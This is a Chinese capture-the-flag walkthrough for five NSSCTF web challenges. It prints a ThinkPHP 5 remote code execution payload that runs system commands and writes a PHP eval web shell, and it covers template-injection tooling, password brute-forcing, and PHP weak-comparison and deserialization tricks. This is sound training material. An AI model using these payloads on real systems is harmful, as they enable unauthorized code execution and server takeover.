NSSCTF-Web随机题目1-5wp

发布于:2025-03-16 ⋅ 阅读:(18) ⋅ 点赞:(0)

[SWPUCTF 2022 新生赛]ez_rce --ThinkPHP V5漏洞

参考文章:https://blog.csdn.net/weixin_44862511/article/details/132132998

打开环境之后拿不到什么可以利用的信息,执行目录扫描发现robots.txt文件

访问robots.txt文件

执行下面的命令查看

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php phpinfo(); ?>

访问**/NSS/index/phpinfo()**

执行下面的命令写入一句话木马,参数1

http://node5.anna.nssctf.cn:21655/NSS/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=track.php&vars[1][]=<?php @eval($_POST[1]);?>

连接

在**/nss/ctf/flag下发现flag**

[GWCTF 2019]你的名字

利用fenjing梭哈

fenjing webgui

这里需要找到请求方式和提交方式,可以在网络中查看

查看根目录

查看该文件,提示在环境变量里

查看环境变量env

[UUCTF 2022 新生赛]ezrce

思路,本题是6字符长度限制RCE,找到传参点

参考文章:https://github.com/ProbiusOfficial/RCE-labs?tab=readme-ov-file

经过测试,最多使用6个字符

[SWPU 2024 新生引导]weakpswd

抓包burp爆破,成功爆破

[FSCTF 2023]ez_php1

代码审计,看看匹配规则

  • **/:**正则表达式的开始和结束分隔符。
  • ^断言字符串的开始
  • .*:匹配任意数量(包括零个)的任意字符。第一个 .* 表示 “flag” 前可以有任何数量的任何字符。
  • **(flag):**匹配确切的字符串 “flag”,并将其作为一个捕获组。
  • .*:同上,表示 “flag” 后可以有任何数量的任何字符。
  • $:断言字符串的结束
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";     #文件引入
$a = $_GET['b'];
$b = $_GET['a'];
if($a!=$b&&md5($a)==md5($b))  #弱比较
{
    echo "!!!";
    $c = $_POST['FL_AG'];
    if(isset($c))
    {
        if (preg_match('/^.*(flag).*$/', $ja)) {     #正则匹配过滤任何包含flag的字符串
            echo 'You are bad guy!!!';
        }
            else {
                echo "Congratulation!!";
                echo $hint1;
            }
    }
    else {
        echo "Please input my love FL_AG";
    }
} else{
    die("game over!");
}
?> 

第一个过滤使用若比较数组绕过即可,第二个保证字符串不空随意输入即可

进入该路径,继续代码审计

 <?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$FAKE_KEY = "Do you love CTF?";   
$KEY = "YES I love";
$str = $_GET['str'];
echo $flag;
if (unserialize($str) === "$KEY")  #反序列化的str值等于$KEY
{
    echo "$hint2";
}
?>
#构造序列化令str值为YES I love
$b='YES I love';
echo serialize($b);

拿到第二个提示

继续代码审计

 <?php
class Clazz
{
    public $a;
    public $b;

    public function __wakeup()  #对象被反序列化前调用
    {
        $this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
    }
    public function __destruct()  #反序列化之后/实例化对象后调用
    {
        echo $this->b;
    }
}
@unserialize($_POST['data']);
$a=new Clazz();
$a->b = &$a->a;   #取地址相同,这行代码将对象$a的属性 b 设置为变量 a 的引用。在 PHP 中,& 符号用于创建引用。这意味着 $a->b 和 $a->a 将引用同一个变量的值。
echo serialize($a);
#O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}
?>

拿到flag